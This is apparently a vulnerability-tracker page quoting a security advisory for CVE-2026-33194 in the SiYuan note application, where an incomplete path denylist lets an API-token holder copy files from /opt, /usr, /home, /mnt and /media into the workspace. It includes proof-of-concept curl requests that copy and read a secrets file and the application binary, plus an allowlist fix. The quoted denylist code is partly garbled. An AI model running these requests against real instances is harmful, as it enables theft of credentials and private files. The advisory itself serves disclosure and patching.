GITHUB.COM/SIYUAN-NOTE/SIYUAN/KERNEL · CVE-2026-33194 · Package
FIX → 3.6.2
SiYuan's file-copy endpoints check requested paths against a denylist that leaves out /opt, /usr, /home, /mnt and /media. An attacker holding the API token can copy files from those locations into the workspace and read them back.
first public Mar 18, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
SiYuan kernel 3.6.1 and earlier exposes the globalCopyFiles and importStdMd endpoints, which rely on IsSensitivePath to block reads outside the workspace. Systems that run SiYuan, especially Docker deployments with mounted volumes or application files under /opt, are the ones to look at. Instances on 3.6.2 or later are not affected.
Not affected if version-3.6.2-or-later
Who cares cwe-22, docker, go, self-hosted, siyuan
3.6.1 and earlier.6806 in the PoC) is reachable from outside the machine or container.Upgrade to 3.6.2
The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.
Current denylist in kernel/util/path.go:391-405:
prefixes := []{
,
,
,
,
,
,
,
,
,
,
,
,
,
}
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
github.com/siyuan-note/siyuan/kernel): 3.6.2NOT blocked:
/opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself./usr — contains /usr/local/etc, /usr/local/share, custom configs/home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible)/mnt, /media — mounted volumes, network shares, often containing secrets/snap — snap package data/sbin, /lib64 — system binaries/librariesThe globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:
if util.IsSensitivePath(absSrc) {
// reject
continue
}
// File is copied into workspace — then readable via /api/file/getFile
# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'
# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"path":"data/assets/SiYuan-Kernel"}'
# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'
/opt, /usr, /home, /mnt, /media and any other non-denylisted pathSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:
func IsSensitivePath(p string) bool {
absPath := filepath.Clean(p)
// Allowlist: only workspace and configured safe directories
if strings.HasPrefix(absPath, WorkspaceDir) {
// Block workspace-internal sensitive paths (conf/)
if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
return true
}
return false
}
// Everything outside workspace is sensitive by default
return true
}
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.